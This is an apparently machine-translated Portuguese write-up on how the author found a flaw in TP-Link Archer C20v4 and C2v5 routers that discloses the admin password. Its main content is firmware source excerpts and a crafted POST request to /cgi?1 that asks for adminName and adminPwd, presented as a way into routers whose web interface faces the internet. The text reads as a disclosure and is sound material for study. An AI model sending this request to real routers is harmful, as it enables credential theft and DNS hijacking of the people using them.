Hackear com falsificação de DNS é um método de ataque bastante comum. Principalmente por causa de sua simplicidade. A essência do ataque é alterar o endereço DNS nas configurações de rede da vítima para o endereço do servidor DNS do atacante, a fim de retornar o IP falso. E mais adiante, quem se importa muito - desde as páginas de phishing banais das redes sociais por roubar senhas até o suposto esboço de provedor com requisitos de pagamento.
A coisa mais interessante em tudo isso, penso nas maneiras pelas quais os robôs, de uma maneira ou de outra, entram nos roteadores. E hoje vou falar sobre um desses métodos.
O que temos:
- Novo roteador Archer c20v4, pronto para uso, com o firmware oficial mais recente.
- Endereço IP externo na interface WAN e acesso aberto à web.
- Uma senha é complexa o suficiente para não se preocupar com sua seleção e com um círculo limitado de pessoas que a conhecem.
- Depois de um dia: falsificação de DNS e todos os pedidos são agrupados em um esboço.
O que você precisa:
Descubra como acessar o dispositivo.
Primeiro de tudo, em um paciente de teste, todos os bugs antigos conhecidos encontrados no Google foram testados. Claro, nada funcionou.
Foi encontrado um script no github (
tyk ) que permite executar remotamente comandos nos modelos C20i e C2 a partir da raiz. Um pouco não é o que precisamos, mas defina a direção certa.
Todas as funções tinham o mesmo "shell" para solicitações - são solicitações POST para url
/ cgi? 2 (e 7), "
[setup_name # 0,0,0,0,0,0,0 # 0,0,0,0,0 , 0] "e um
referenciador especial.
Faça o download dos códigos-fonte do nosso firmware no site oficial tp-link e descompacte-o. Porque a linha de roteadores é a mesma, então o software deve ser pelo menos um pouco semelhante, certo?
grepgrep -Hrn "/cgi?2" ---------------------------------------------- ../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);
Bingo O nome do arquivo sugere que será muito mais interessante. Encontramos no código uma linha na qual vimos o querido "cgi? 2". Abaixo está a função completa:
doSetUsrName function doSetUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { getUsrName(); } else return; }); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); }
Esta função, quando executada, chama outro - getUsrName ().
Função de login:
getUsrName function getUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); } else return; }); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); }
Mas não faça nada com o login. Estamos interessados em uma senha. Sabemos que o login é armazenado na variável adminName, dentro do objeto USER_CFG. Uma pesquisa na fonte deu os seguintes resultados: (Deixarei apenas o resultado desejado)
Saída Grep grep -Hrn USER_CFG ------------------------ sysfiles/config/en/common/reduced_data_model.xml
Abra
extended_data_model.xml e encontre o seguinte fragmento de código:
XML <X_TP_UserCfg t=or=P s=USER_CFG_OBJ h=1 > <RootName t=sr=R l=16 al=cli h=1 /> <RootPwd t=sr=R l=16 al=cli h=1 /> <AdminName t=sr=W l=16 al=cli d=admin h=1 /> <AdminPwd t=sr=W l=16 al=cli d=admin h=1 /> <UserName t=sr=W l=16 al=cli h=1 /> <UserPwd t=sr=W l=16 al=cli h=1 /> </X_TP_UserCfg>
Aqui nós armazenamos a variável já conhecida “AdminName” e ao lado dela - AdminPwd. Parece a verdade.
Agora, apenas precisamos formar a solicitação POST correta, à qual precisamos responder com os dados necessários ao roteador. Voltamos ao script do github e vemos como isso é feito lá:
dados data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" )
Por analogia, formamos nosso pedido:
dados "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n"
IIIiii enviar. No Wireshark, o pacote fica assim:
Nós olhamos para a resposta:
Um leitor atento notará que a solicitação POST foi enviada para "/ cgi? 1" e não como no script para "/ cgi? 2". Isso mesmo. Nós só precisamos descobrir a senha. Depois de receber os dados para autorização, você já pode se envolver em desgraça uniforme.
Faça login:
E já estamos autorizados a extrair dados que consideramos importantes apenas consultando o arquivo reduzido_dados_model.xml:
No momento, os códigos-fonte do roteador C20v4 foram removidos do site da Tp-Link e os códigos V5 foram publicados. Mas, infelizmente, ainda não há firmware oficial.
A boa notícia: Essa vulnerabilidade é explorada apenas se o acesso à web for aberto a todos.
A má notícia: os robôs de alguém já estão batendo em endereços externos com as solicitações corretas.
Além do modelo
ArcherC20V4 , o modelo
ArcherC2V5 também é
afetado por esta vulnerabilidade
.